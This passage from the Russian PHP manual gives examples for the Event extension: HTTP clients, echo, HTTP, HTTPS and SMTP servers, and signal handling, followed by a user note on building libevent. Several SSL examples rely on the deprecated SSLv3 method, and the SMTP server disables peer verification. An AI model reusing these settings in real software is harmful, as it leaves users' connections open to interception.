$bev = new EventBufferEvent($base, /* используем внутренний сокет */ NULL,
EventBufferEvent::OPT_CLOSE_ON_FREE | EventBufferEvent::OPT_DEFER_CALLBACKS,
"readcb", /* writecb */ NULL, "eventcb"
);
if (!$bev) {
exit("Ошибка создания сокета bufferevent\n");
}

//$bev->setCallbacks("readcb", /* writecb */ NULL, "eventcb", $base);
$bev->enable(Event::READ | Event::WRITE);

$output = $bev->output; //$bev->getOutput();
if (!$output->add(
"GET {$argv[2]} HTTP/1.0\r\n".
"Host: {$argv[1]}\r\n".
"Connection: Close\r\n\r\n"
)) {
exit("Ошибка добавления запроса в буфер вывода\n");
}

if (!$bev->connectHost($dns_base, $argv[1], 80, EventUtil::AF_UNSPEC)) {
exit("Невозможно установить соединение с {$argv[1]}\n");
}

$base->dispatch();
?>

Результатом выполнения данного примера будет что-то подобное:

Соединение установлено.
HTTP/1.1 301 Moved Permanently
Date: Fri, 01 Mar 2013 18:47:48 GMT
Location: http://www.google.co.uk/
Content-Type: text/html; CHARSET=Windows-1251
Cache-Control: public, max-age=2592000
Server: gws
Content-Length: 221
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Age: 133438
Expires: Sat, 30 Mar 2013 05:39:28 GMT
Connection: close

<HTML><HEAD><meta http-equiv="content-type" content="text/html;CHARSET=Windows-1251">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="http://www.google.co.uk/">here</A>.
</BODY></HTML>
Закрываем соединение
Готово

Пример #2 HTTP клиент с асинхронным запросом к DNS

<?php
/*
* 1. Соединяемся с 127.0.0.1 на порту 80
* посредством EventBufferEvent::connect().
*
* 2. Запрашиваем /index.cphp по протоколу HTTP/1.0
* используя буфер вывода.
*
* 3. Асинхорнно читаем ответ и выводим его в stdout.
*/

// Функция обратного вызова обработки чтения
function readcb($bev, $base) {
$input = $bev->getInput();

while (($n = $input->remove($buf, 1024)) > 0) {
echo $buf;
}
}

// Функция обратного вызова обработки события
function eventcb($bev, $events, $base) {
if ($events & EventBufferEvent::CONNECTED) {
echo "Соединение установлено.\n";
} elseif ($events & (EventBufferEvent::ERROR | EventBufferEvent::EOF)) {
if ($events & EventBufferEvent::ERROR) {
echo "Ошибка DNS: ", $bev->getDnsErrorString(), PHP_EOL;
}

echo "Закрываем соединение\n";
$base->exit();
exit("Готово\n");
}
}

$base = new EventBase();

echo "step 1\n";
$bev = new EventBufferEvent($base, /* используем внутренний сокет*/ NULL,
EventBufferEvent::OPT_CLOSE_ON_FREE | EventBufferEvent::OPT_DEFER_CALLBACKS);
if (!$bev) {
exit("Ошибка создания сокета bufferevent\n");
}

echo "step 2\n";
$bev->setCallbacks("readcb", /* writecb */ NULL, "eventcb", $base);
$bev->enable(Event::READ | Event::WRITE);

echo "step 3\n";
// Посылаем запрос
$output = $bev->getOutput();
if (!$output->add(
"GET /index.cphp HTTP/1.0\r\n".
"Connection: Close\r\n\r\n"
)) {
exit("Ошибка добавления запроса в буфер вывода\n");
}

/* Синхронно соединяемся с хостом.
Мы знаем IP и не нуждаемся в запросе к DNS. */
if (!$bev->connect("127.0.0.1:80")) {
exit("Не удалось установить соединение\n");
}

// Обрабатываем ожидающие события
$base->dispatch();
?>

Пример #3 Эхо-сервер

<?php
/*
* Простой эхо-сервер на базе слушателя соединений libevent
*
* Использование:
* 1) В первом терминальном окне запускаем:
*
* $ php listener.php 9881
*
* 2) Во втором терминальном окне открываем соединение:
*
* $ nc 127.0.0.1 9881
*
* 3) Начинаем печатать. Сервер должен повторять наш ввод.
*/

class MyListenerConnection {
private $bev, $base;

public function __destruct() {
$this->bev->free();
}

public function __construct($base, $fd) {
$this->base = $base;

$this->bev = new EventBufferEvent($base, $fd, EventBufferEvent::OPT_CLOSE_ON_FREE);

$this->bev->setCallbacks(array($this, "echoReadCallback"), NULL,
array($this, "echoEventCallback"), NULL);

if (!$this->bev->enable(Event::READ)) {
echo "Не удалось разрешить чтение (READ)\n";
return;
}
}

public function echoReadCallback($bev, $ctx) {
// Копируем все данные из буфера ввода в буфер вывода

// Вариант #1
$bev->output->addBuffer($bev->input);

/* Вариант #2 */
/*
$input = $bev->getInput();
$output = $bev->getOutput();
$output->addBuffer($input);
*/
}

public function echoEventCallback($bev, $events, $ctx) {
if ($events & EventBufferEvent::ERROR) {
echo "Ошибка bufferevent\n";
}

if ($events & (EventBufferEvent::EOF | EventBufferEvent::ERROR)) {
//$bev->free();
$this->__destruct();
}
}
}

class MyListener {
public $base,
$listener,
$socket;
private $conn = array();

public function __destruct() {
foreach ($this->conn as &$c) $c = NULL;
}

public function __construct($port) {
$this->base = new EventBase();
if (!$this->base) {
echo "Не удаётся создать EventBase";
exit(1);
}

// Вариант #1
/*
$this->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!socket_bind($this->socket, '0.0.0.0', $port)) {
echo "Невозможно назначить сокет\n";
exit(1);
}
$this->listener = new EventListener($this->base,
array($this, "acceptConnCallback"), $this->base,
EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE,
-1, $this->socket);
*/

// Вариант #2
$this->listener = new EventListener($this->base,
array($this, "acceptConnCallback"), $this->base,
EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE, -1,
"0.0.0.0:$port");

if (!$this->listener) {
echo "Невозможно создать слушателя";
exit(1);
}

$this->listener->setErrorCallback(array($this, "accept_error_cb"));
}

public function dispatch() {
$this->base->dispatch();
}

// Эта функция обратного вызова будет вызвана, если в $bev есть данные для чтения
public function acceptConnCallback($listener, $fd, $address, $ctx) {
// У нас новое соединение! Настроим bufferevent для него. */
$base = $this->base;
$this->conn[] = new MyListenerConnection($base, $fd);
}

public function accept_error_cb($listener, $ctx) {
$base = $this->base;

fprintf(STDERR, "Ошибка слушателя: %d (%s). "
."Аварийная остановка.\n",
EventUtil::getLastSocketErrno(),
EventUtil::getLastSocketError());

$base->exit(NULL);
}
}

$port = 9808;

if ($argc > 1) {
$port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
exit("Некорректный порт");
}

$l = new MyListener($port);
$l->dispatch();
?>

Пример #4 SSL эхо-сервер

<?php
/*
* SSL эхо-сервер
*
* Для тестирования:
* 1) Запустите:
* $ php examples/ssl-echo-server/server.php 9998
*
* 2) В другом окне:
* $ socat - SSL:127.0.0.1:9998,verify=1,cafile=examples/ssl-echo-server/cert.pem
*/

class MySslEchoServer {
public $port,
$base,
$bev,
$listener,
$ctx;

function __construct ($port, $host = "127.0.0.1") {
$this->port = $port;
$this->ctx = $this->init_ssl();
if (!$this->ctx) {
exit("Невозможно создать контекст SSL\n");
}

$this->base = new EventBase();
if (!$this->base) {
exit("Невозможно создать EventBase\n");
}

$this->listener = new EventListener($this->base,
array($this, "ssl_accept_cb"), $this->ctx,
EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE,
-1, "$host:$port");
if (!$this->listener) {
exit("невозможно создать слушателя\n");
}

$this->listener->setErrorCallback(array($this, "accept_error_cb"));
}
function dispatch() {
$this->base->dispatch();
}

// Эта функция обратного вызова будет вызвана, если в $bev есть данные для чтения
function ssl_read_cb($bev, $ctx) {
$in = $bev->input; //$bev->getInput();

printf("Received %zu bytes\n", $in->length);
printf("----- data ----\n");
printf("%ld:\t%s\n", (int) $in->length, $in->pullup(-1));

$bev->writeBuffer($in);
}

// Эта функция обратного вызова будет вызвана, если на слушателя придёт событие,
// например если закроется соединение или произойдёт ошибка
function ssl_event_cb($bev, $events, $ctx) {
if ($events & EventBufferEvent::ERROR) {
// Извлекаем ошибку из стека ошибок SSL
while ($err = $bev->sslError()) {
fprintf(STDERR, "Ошибка bufferevent: %s.\n", $err);
}
}

if ($events & (EventBufferEvent::EOF | EventBufferEvent::ERROR)) {
$bev->free();
}
}

// Эта функция обратного вызова будет вызвана, когда клиент примет новое соединение
function ssl_accept_cb($listener, $fd, $address, $ctx) {
// У нас новое соединение! Настроим bufferevent для него.
$this->bev = EventBufferEvent::sslSocket($this->base, $fd, $this->ctx,
EventBufferEvent::SSL_ACCEPTING, EventBufferEvent::OPT_CLOSE_ON_FREE);

if (!$this->bev) {
echo "Failed creating ssl buffer\n";
$this->base->exit(NULL);
exit(1);
}

$this->bev->enable(Event::READ);
$this->bev->setCallbacks(array($this, "ssl_read_cb"), NULL,
array($this, "ssl_event_cb"), NULL);
}

// Эта функция обратного вызова будет вызвана, если не удастся создать новое соединение
function accept_error_cb($listener, $ctx) {
fprintf(STDERR, "Ошибка слушателя: %d (%s). "
."Shutting down.\n",
EventUtil::getLastSocketErrno(),
EventUtil::getLastSocketError());

$this->base->exit(NULL);
}

// Инициализируем структуры SSL, создаём EventSslContext
// Опционально создаём самоподписанный сертификат
function init_ssl() {
// Нам *необходима* энтропия. Иначе в криптографии нет смысла.
if (!EventUtil::sslRandPoll()) {
exit("EventUtil::sslRandPoll failed\n");
}

$local_cert = __DIR__."/cert.pem";
$local_pk = __DIR__."/privkey.pem";

if (!file_exists($local_cert) || !file_exists($local_pk)) {
echo "Невозможно прочитать $local_cert или $local_pk file. Для генерации ключа\n",
"и самоподписанного сертификата, запустите:\n",
" openssl genrsa -out $local_pk 2048\n",
" openssl req -new -key $local_pk -out cert.req\n",
" openssl x509 -req -days 365 -in cert.req -signkey $local_pk -out $local_cert\n";

return FALSE;
}

$ctx = new EventSslContext(EventSslContext::SSLv3_SERVER_METHOD, array (
EventSslContext::OPT_LOCAL_CERT => $local_cert,
EventSslContext::OPT_LOCAL_PK => $local_pk,
//EventSslContext::OPT_PASSPHRASE => "echo server",
EventSslContext::OPT_VERIFY_PEER => true,
EventSslContext::OPT_ALLOW_SELF_SIGNED => false,
));

return $ctx;
}
}

// Разрешаем переопределение порта
$port = 9999;
if ($argc > 1) {
$port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
exit("Некорректный порт\n");
}

$l = new MySslEchoServer($port);
$l->dispatch();
?>

Пример #5 Обработчик сигналов

<?php
/*
Запустите в терминальном окне:

$ php examples/signal.php

В другом терминальном окне найдите pid этого процесса и пошлите ему сигнал SIGTERM:

$ ps aux | grep examp
ruslan 3976 0.2 0.0 139896 11256 pts/1 S+ 10:25 0:00 php examples/signal.php
ruslan 3978 0.0 0.0 9572 864 pts/2 S+ 10:26 0:00 grep --color=auto examp
$ kill -TERM 3976

В первом окне вы должны увидить следующее::

Пойман сигнал 15
*/

class MyEventSignal {
private $base;

function __construct($base) {
$this->base = $base;
}

function eventSighandler($no, $c) {
echo "Пойман сигнал $no\n";
event_base_loopexit($c->base);
}
}

$base = event_base_new();
$c = new MyEventSignal($base);
$no = SIGTERM;
$ev = evsignal_new($base, $no, array($c,'eventSighandler'), $c);

evsignal_add($ev);

event_base_loop($base);
?>

Пример #6 Использование цикла libevent для обработки запросов модуля `eio'

<?php
// Функция обратного вызова для eio_nop()
function my_nop_cb($d, $r) {
echo "step 6\n";
}

$dir = "/tmp/abc-eio-temp";
if (file_exists($dir)) {
rmdir($dir);
}

echo "step 1\n";

$base = new EventBase();

echo "step 2\n";

eio_init();

eio_mkdir($dir, 0750, EIO_PRI_DEFAULT, "my_nop_cb");

$event = new Event($base, eio_get_event_stream(),
Event::READ | Event::PERSIST, function ($fd, $events, $base) {
echo "step 5\n";

while (eio_nreqs()) {
eio_poll();
}

$base->stop();
}, $base);

echo "step 3\n";

$event->add();

echo "step 4\n";

$base->dispatch();

echo "Готово\n";
?>

Пример #7 Разное

<?php
/* {{{ Конфигурация и поддерживаемые методы */
echo "Поддерживаемые методы:\n";
foreach (Event::getSupportedMethods() as $m) {
echo $m, PHP_EOL;
}

// Избегаем метода "select"
$cfg = new EventConfig();
if ($cfg->avoidMethod("select")) {
echo "Метод 'select' будет игнорироваться\n";
}

// Создаём event_base связанный с конфигурацией
$base = new EventBase($cfg);
echo "Используется событийный метод: ", $base->getMethod(), PHP_EOL;

echo "Способы:\n";
$features = $base->getFeatures();
($features & EventConfig::FEATURE_ET) and print("ET - одноразовое срабатывание при пересечении порога (edge-triggered IO)\n");
($features & EventConfig::FEATURE_O1) and print("O1 - операции добавления/удаления событий со сложностью O(1)\n");
($features & EventConfig::FEATURE_FDS) and print("FDS - обычные дескрипторы файлов, а не только сокеты\n");

// Запрашиваем способ FDS
if ($cfg->requireFeatures(EventConfig::FEATURE_FDS)) {
echo "Запрошен способ FDS\n";

$base = new EventBase($cfg);
($base->getFeatures() & EventConfig::FEATURE_FDS)
and print("FDS - обычные дескрипторы файлов, а не только сокеты\n");
}
/* }}} */

/* {{{ Base */
$base = new EventBase();
$event = new Event($base, STDIN, Event::READ | Event::PERSIST, function ($fd, $events, $arg) {
static $max_iterations = 0;

if (++$max_iterations >= 5) {
/* выход после 5 итераций с паузами в 2.33 секунды */
echo "Останавливаемся...\n";
$arg[0]->exit(2.33);
}

echo fgets($fd);
}, array (&$base));

$event->add();
$base->loop();
/* Base }}} */
?>

Пример #8 Простой HTTP-сервер

<?php
/*
* Простой HTTP-сервер.
*
* Для проверки:
* 1) Запускаете на любом порту, например:
* $ php examples/http.php 8010
* 2) В другом терминальном окне устанавливаете к нему соединение
* и делаете GET или POST запрос(другие запросы не реализованы):
* $ nc -t 127.0.0.1 8010
* POST /about HTTP/1.0
* Content-Type: text/plain
* Content-Length: 4
* Connection: close
* (нажимаете Enter)
*
* Должно вывести:
* a=12
* HTTP/1.0 200 OK
* Content-Type: text/html; charset=ISO-8859-1
* Connection: close
*
* $ nc -t 127.0.0.1 8010
* GET /dump HTTP/1.0
* Content-Type: text/plain
* Content-Encoding: UTF-8
* Connection: close
* (нажимаете Enter)
*
* IДолжно вывести:
* HTTP/1.0 200 OK
* Content-Type: text/html; charset=ISO-8859-1
* Connection: close
* (нажимаете Enter)
*
* $ nc -t 127.0.0.1 8010
* GET /unknown HTTP/1.0
* Connection: close
*
* Должно вывести:
* HTTP/1.0 200 OK
* Content-Type: text/html; charset=ISO-8859-1
* Connection: close
*
* 3) Смотрите, что выводится в окне, в котором вы запустили сервер.
*/

function _http_dump($req, $data) {
static $counter = 0;
static $max_requests = 2;

if (++$counter >= $max_requests) {
echo "Счётчик запросов достиг максимума $max_requests. Выходим\n";
exit();
}

echo __METHOD__, " метод\n";
echo "запрос:"; var_dump($req);
echo "данные:"; var_dump($data);

echo "\n===== DUMP =====\n";
echo "Команда:", $req->getCommand(), PHP_EOL;
echo "URI:", $req->getUri(), PHP_EOL;
echo "Входящие заголовки:"; var_dump($req->getInputHeaders());
echo "Исходящие заголовки:"; var_dump($req->getOutputHeaders());

echo "\n >> Посылаем ответ ...";
$req->sendReply(200, "OK");
echo "OK\n";

echo "\n >> Читаем входной буфер ...\n";
$buf = $req->getInputBuffer();
while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
echo $s, PHP_EOL;
}
echo "В буфере больше нет данных\n";
}

function _http_about($req) {
echo __METHOD__, PHP_EOL;
echo "URI: ", $req->getUri(), PHP_EOL;
echo "\n >> Посылаем ответ ...";
$req->sendReply(200, "OK");
echo "OK\n";
}

function _http_default($req, $data) {
echo __METHOD__, PHP_EOL;
echo "URI: ", $req->getUri(), PHP_EOL;
echo "\n >> Посылаем ответ ...";
$req->sendReply(200, "OK");
echo "OK\n";
}

$port = 8010;
if ($argc > 1) {
$port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
exit("Некорректный порт");
}

$base = new EventBase();
$http = new EventHttp($base);
$http->setAllowedMethods(EventHttpRequest::CMD_GET | EventHttpRequest::CMD_POST);

$http->setCallback("/dump", "_http_dump", array(4, 8));
$http->setCallback("/about", "_http_about");
$http->setDefaultCallback("_http_default", "custom data value");

$http->bind("0.0.0.0", 8010);
$base->loop();
?>

Результатом выполнения данного примера будет что-то подобное:

a=12
HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close
(жмём Enter)

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

Пример #9 Простой HTTPS-сервер

<?php
/*
* Простой HTTPS-сервер.
*
* 1) Запустите сервер: `php examples/https.php 9999`
* 2) Протестируйте его: `php examples/ssl-connection.php 9999`
*/

function _http_dump($req, $data) {
static $counter = 0;
static $max_requests = 200;

if (++$counter >= $max_requests) {
echo "Счётчик запросов достиг максимума $max_requests. Выходим\n";
exit();
}

echo __METHOD__, " called\n";
echo "запрос:"; var_dump($req);
echo "данные:"; var_dump($data);

echo "\n===== DUMP =====\n";
echo "Команда:", $req->getCommand(), PHP_EOL;
echo "URI:", $req->getUri(), PHP_EOL;
echo "Входящие заголовки:"; var_dump($req->getInputHeaders());
echo "Исходящие заголовки:"; var_dump($req->getOutputHeaders());

echo "\n >> Отправляем ответ ...";
$req->sendReply(200, "OK");
echo "OK\n";

$buf = $req->getInputBuffer();
echo "\n >> Читаем входящий буфер (", $buf->length, ") ...\n";
while ($s = $buf->read(1024)) {
echo $s;
}
echo "\nВ буфере больше нет данных\n";
}

function _http_about($req) {
echo __METHOD__, PHP_EOL;
echo "URI: ", $req->getUri(), PHP_EOL;
echo "\n >> Отправляем ответ ...";
$req->sendReply(200, "OK");
echo "OK\n";
}

function _http_default($req, $data) {
echo __METHOD__, PHP_EOL;
echo "URI: ", $req->getUri(), PHP_EOL;
echo "\n >> Отправляем ответ ...";
$req->sendReply(200, "OK");
echo "OK\n";
}

function _http_400($req) {
$req->sendError(400);
}

function _init_ssl() {
$local_cert = __DIR__."/ssl-echo-server/cert.pem";
$local_pk = __DIR__."/ssl-echo-server/privkey.pem";

$ctx = new EventSslContext(EventSslContext::SSLv3_SERVER_METHOD, array (
EventSslContext::OPT_LOCAL_CERT => $local_cert,
EventSslContext::OPT_LOCAL_PK => $local_pk,
//EventSslContext::OPT_PASSPHRASE => "test",
EventSslContext::OPT_ALLOW_SELF_SIGNED => true,
));

return $ctx;
}

$port = 9999;
if ($argc > 1) {
$port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
exit("Некорректный порт");
}
$ip = '0.0.0.0';

$base = new EventBase();
$ctx = _init_ssl();
$http = new EventHttp($base, $ctx);
$http->setAllowedMethods(EventHttpRequest::CMD_GET | EventHttpRequest::CMD_POST);

$http->setCallback("/dump", "_http_dump", array(4, 8));
$http->setCallback("/about", "_http_about");
$http->setCallback("/err400", "_http_400");
$http->setDefaultCallback("_http_default", "custom data value");

$http->bind($ip, $port);
$base->dispatch();

Пример #10 OpenSSL соединение

<?php
/*
* Простой OpenSSL клиент.
*
* Использование:
* 1) Запускаем сервер, например так:
* $ php examples/https.php 9999
*
* 2) Запускаем клиента в другом окне:
* $ php examples/ssl-connection.php 9999
*/

function _request_handler($req, $base) {
echo __FUNCTION__, PHP_EOL;

if (is_null($req)) {
echo "Превышен интервал ожидания\n";
} else {
$response_code = $req->getResponseCode();

if ($response_code == 0) {
echo "В соединении отказано\n";
} elseif ($response_code != 200) {
echo "Неожиданный ответ: $response_code\n";
} else {
echo "Соединение успешно: $response_code\n";
$buf = $req->getInputBuffer();
echo "Body:\n";
while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
echo $s, PHP_EOL;
}
}
}

$base->exit(NULL);
}

function _init_ssl() {
$ctx = new EventSslContext(EventSslContext::SSLv3_CLIENT_METHOD, array ());

return $ctx;
}

// Разрешаем переопределять порт
$port = 9999;
if ($argc > 1) {
$port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
exit("Некорректный порт\n");
}
$host = '127.0.0.1';

$ctx = _init_ssl();
if (!$ctx) {
trigger_error("Не удалось создать контекст SSL", E_USER_ERROR);
}

$base = new EventBase();
if (!$base) {
trigger_error("Не удалось инициализировать обработчик событий", E_USER_ERROR);
}

$conn = new EventHttpConnection($base, NULL, $host, $port, $ctx);
$conn->setTimeout(50);

$req = new EventHttpRequest("_request_handler", $base);
$req->addHeader("Host", $host, EventHttpRequest::OUTPUT_HEADER);
$buf = $req->getOutputBuffer();
$buf->add("<html>HTML TEST</html>");
//$req->addHeader("Content-Length", $buf->length, EventHttpRequest::OUTPUT_HEADER);
//$req->addHeader("Connection", "close", EventHttpRequest::OUTPUT_HEADER);
$conn->makeRequest($req, EventHttpRequest::CMD_POST, "/dump");

$base->dispatch();
echo "END\n";
?>

Пример #11 Пример использования EventHttpConnection::makeRequest()

<?php
function _request_handler($req, $base) {
echo __FUNCTION__, PHP_EOL;

if (is_null($req)) {
echo "Timed out\n";
} else {
$response_code = $req->getResponseCode();

if ($response_code == 0) {
echo "В соединении отказано\n";
} elseif ($response_code != 200) {
echo "Неожиданный ответ: $response_code\n";
} else {
echo "Успешное соединение: $response_code\n";
$buf = $req->getInputBuffer();
echo "Данные:\n";
while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
echo $s, PHP_EOL;
}
}
}

$base->exit(NULL);
}

$address = "127.0.0.1";
$port = 80;

$base = new EventBase();
$conn = new EventHttpConnection($base, NULL, $address, $port);
$conn->setTimeout(5);
$req = new EventHttpRequest("_request_handler", $base);

$req->addHeader("Host", $address, EventHttpRequest::OUTPUT_HEADER);
$req->addHeader("Content-Length", "0", EventHttpRequest::OUTPUT_HEADER);
$conn->makeRequest($req, EventHttpRequest::CMD_GET, "/index.cphp");

$base->loop();
?>

Результатом выполнения данного примера будет что-то подобное:

_request_handler
Success: 200
Body:
PHP, date:
2013-03-13T20:27:52+05:00

Пример #12 Слушатель соединений на базе сокетов UNIX

<?php
/*
* Простой echo-сервер на базе слушателя соединений libevent.
*
* Использование:
* 1) В первом окне запустите слушатель:
*
* $ php unix-domain-listener.php [путь к сокету]
*
* 2) Во втором окне откройте соединение к сокету:
*
* $ socat - GOPEN:/tmp/1.sock
*
* 3) Начните печататью Сервер должен повторять ввод.
*/

class MyListenerConnection {
private $bev, $base;

public function __destruct() {
if ($this->bev) {
$this->bev->free();
}
}

public function __construct($base, $fd) {
$this->base = $base;

$this->bev = new EventBufferEvent($base, $fd, EventBufferEvent::OPT_CLOSE_ON_FREE);

$this->bev->setCallbacks(array($this, "echoReadCallback"), NULL,
array($this, "echoEventCallback"), NULL);

if (!$this->bev->enable(Event::READ)) {
echo "Не удалось разрешить чтение (READ)\n";
return;
}
}

public function echoReadCallback($bev, $ctx) {
// Копируем все данные из входящего буфера в исходящий буфер
$bev->output->addBuffer($bev->input);
}

public function echoEventCallback($bev, $events, $ctx) {
if ($events & EventBufferEvent::ERROR) {
echo "Ошибка в bufferevent\n";
}

if ($events & (EventBufferEvent::EOF | EventBufferEvent::ERROR)) {
$bev->free();
$bev = NULL;
}
}
}

class MyListener {
public $base,
$listener,
$socket;
private $conn = array();

public function __destruct() {
foreach ($this->conn as &$c) $c = NULL;
}

public function __construct($sock_path) {
$this->base = new EventBase();
if (!$this->base) {
echo "Не удаётся открыть обработчик ошибок";
exit(1);
}

if (file_exists($sock_path)) {
unlink($sock_path);
}

$this->listener = new EventListener($this->base,
array($this, "acceptConnCallback"), $this->base,
EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE, -1,
"unix:$sock_path");

if (!$this->listener) {
trigger_error("Невозможно создать слушатель", E_USER_ERROR);
}

$this->listener->setErrorCallback(array($this, "accept_error_cb"));
}

public function dispatch() {
$this->base->dispatch();
}

// Эта callback-функция будет запущена, когда в $bev появятся данные для чтения
public function acceptConnCallback($listener, $fd, $address, $ctx) {
// Появилось новое соединение! Настроем для него bufferevent. */
$base = $this->base;
$this->conn[] = new MyListenerConnection($base, $fd);
}

public function accept_error_cb($listener, $ctx) {
$base = $this->base;

fprintf(STDERR, "Ошибка слушателя: %d (%s). "
."Shutting down.\n",
EventUtil::getLastSocketErrno(),
EventUtil::getLastSocketError());

$base->exit(NULL);
}
}

if ($argc <= 1) {
exit("Не указан сокет\n");
}
$sock_path = $argv[1];

$l = new MyListener($sock_path);
$l->dispatch();
?>

Пример #13 Простой SMTP-сервер

<?php
/*
* Автор: Andrew Rose <hello at andrewrose dot co dot uk>
*
* Usage:
* 1) Подготовим файлы сертификата cert.pem и приватного ключа privkey.pem.
* 2) Запустим скрипт сервера
* 3) Откроем TLS-соединение, например:
* $ openssl s_client -connect localhost:25 -starttls smtp -crlf
* 4) Протестируем команды, описанные в метода `cmd`.
*/

class Handler {
public $domainName = FALSE;
public $connections = [];
public $buffers = [];
public $maxRead = 256000;

public function __construct() {
$this->ctx = new EventSslContext(EventSslContext::SSLv3_SERVER_METHOD, [
EventSslContext::OPT_LOCAL_CERT => 'cert.pem',
EventSslContext::OPT_LOCAL_PK => 'privkey.pem',
//EventSslContext::OPT_PASSPHRASE => '',
EventSslContext::OPT_VERIFY_PEER => false, // для корректного сертификата укажите true
EventSslContext::OPT_ALLOW_SELF_SIGNED => true // для корректного сертификата укажите false
]);

$this->base = new EventBase();
if (!$this->base) {
exit("Не удалось открыть обработчик событий\n");
}

if (!$this->listener = new EventListener($this->base,
[$this, 'ev_accept'],
$this->ctx,
EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE,
-1,
'0.0.0.0:25'))
{
exit("Невозможно создать слушателя\n");
}

$this->listener->setErrorCallback([$this, 'ev_error']);
$this->base->dispatch();
}

public function ev_accept($listener, $fd, $address, $ctx) {
static $id = 0;
$id += 1;

$this->connections[$id]['clientData'] = '';
$this->connections[$id]['cnx'] = new EventBufferEvent($this->base, $fd,
EventBufferEvent::OPT_CLOSE_ON_FREE);

if (!$this->connections[$id]['cnx']) {
echo "Failed creating buffer\n";
$this->base->exit(NULL);
exit(1);
}

$this->connections[$id]['cnx']->setCallbacks([$this, "ev_read"], NULL,
[$this, 'ev_error'], $id);
$this->connections[$id]['cnx']->enable(Event::READ | Event::WRITE);

$this->ev_write($id, '220 '.$this->domainName." wazzzap?\r\n");
}

function ev_error($listener, $ctx) {
$errno = EventUtil::getLastSocketErrno();

fprintf(STDERR, "Ошибка слушателя: %d (%s). Аварийное завершение работы.\n",
$errno, EventUtil::getLastSocketError());

if ($errno != 0) {
$this->base->exit(NULL);
exit();
}
}

public function ev_close($id) {
$this->connections[$id]['cnx']->disable(Event::READ | Event::WRITE);
unset($this->connections[$id]);
}

protected function ev_write($id, $string) {
echo 'S('.$id.'): '.$string;
$this->connections[$id]['cnx']->write($string);
}

public function ev_read($buffer, $id) {
while($buffer->input->length > 0) {
$this->connections[$id]['clientData'] .= $buffer->input->read($this->maxRead);
$clientDataLen = strlen($this->connections[$id]['clientData']);

if($this->connections[$id]['clientData'][$clientDataLen-1] == "\n"
&& $this->connections[$id]['clientData'][$clientDataLen-2] == "\r")
{
// удаляем все завершающие \r\n
$line = substr($this->connections[$id]['clientData'], 0,
strlen($this->connections[$id]['clientData']) - 2);

$this->connections[$id]['clientData'] = '';
$this->cmd($buffer, $id, $line);
}
}
}

protected function cmd($buffer, $id, $line) {
switch ($line) {
case strncmp('EHLO ', $line, 4):
$this->ev_write($id, "250-STARTTLS\r\n");
$this->ev_write($id, "250 OK ehlo\r\n");
break;

case strncmp('HELO ', $line, 4):
$this->ev_write($id, "250-STARTTLS\r\n");
$this->ev_write($id, "250 OK helo\r\n");
break;

case strncmp('QUIT', $line, 3):
$this->ev_write($id, "250 OK quit\r\n");
$this->ev_close($id);
break;

case strncmp('STARTTLS', $line, 3):
$this->ev_write($id, "220 Ready to start TLS\r\n");
$this->connections[$id]['cnx'] = EventBufferEvent::sslFilter($this->base,
$this->connections[$id]['cnx'], $this->ctx,
EventBufferEvent::SSL_ACCEPTING,
EventBufferEvent::OPT_CLOSE_ON_FREE);
$this->connections[$id]['cnx']->setCallbacks([$this, "ev_read"], NULL, [$this, 'ev_error'], $id);
$this->connections[$id]['cnx']->enable(Event::READ | Event::WRITE);
break;

default:
echo 'неизвестная команда: '.$line."\n";
break;
}
}
}

new Handler();

User Contributed Notes

Bas Vijfwinkel 26-Jun-2015 09:17
In order to use certain features used in the examples above here you need a very recent version of libevent (>= 2.1).
Although 'pecl install event' will not show any errors, certain features are disabled and certain function calls might use a different number of parameters.
For example EventHttp will throw a warning that the number of parameters should be 1 instead of 2 (when using it with a SSL context) and as a bonus cause a segmentation fault.

On some distributions of Linux, the stable libevent library might not be recent enough for all features to be enabled and you might need to use an alpha version.

You can install an alpha version of libevent next to the stable version that might already be on your machine.
The basic steps are:
- download the alpha tarball to a folder e.g libevent-2.1.3-alpha.tar.gz
- tar zxvf libevent-2.1.3-alpha.tar.gz
- cd libevent-2.1.3-alpha
- ./configure --prefix=/opt/libevent-alpha
- make
- make install

Now the alpha version of libevent is created in /opt/libevent-alpha.

Before running pecl, first export the library folder of libevent so that pecl knows where your most recent libevent stuff is:
export LD_LIBRARY_PATH=/opt/libevent-2.1.3-alpha/lib
Without this export I couldn't get pecl to use the correct libevent

Now run 'pecl install event'
and when asked libevent installation prefix [/usr] :
enter :  /opt/libevent-2.1.3-alpha
Now pecl will use your alpha version of libevent instead of the default version.

If everything goes well then you should be able to enjoy the full glory of this wonderfull extension.

If you try to install a very recent version of libevent on a system with a  old version of openssl (0.9), you also need to update that because there are some dependencies in libevent that do not work with 0.9


Флаги событий

Флаг Event::READ указывает событие, которое становится активным, когда предоставленный файл (обычно потоковый ресурс или сокет) готов к чтению.

Флаг Event::WRITE указывает событие, которое становится активным, когда предоставленный файл (обычно потоковый ресурс или сокет) готов к записи.

Флаг Event::SIGNAL используется для реализации отслеживания системных сигналов. Смотрите "Создание событий для сигналов" ниже.

Флаг Event::TIMEOUT означает, что активировалось событие по истечению ожидания (timeout). Флаг Event::TIMEOUT игнорируется при создании события: его можно установить при добавлении. Он задаётся в аргументе $what callback-функции, если произошло событие этого типа.

Также почитайте » Fast portable non-blocking network programming with Libevent, Working with events, Event flags

User Contributed Notes

There are no user contributed notes for this page.


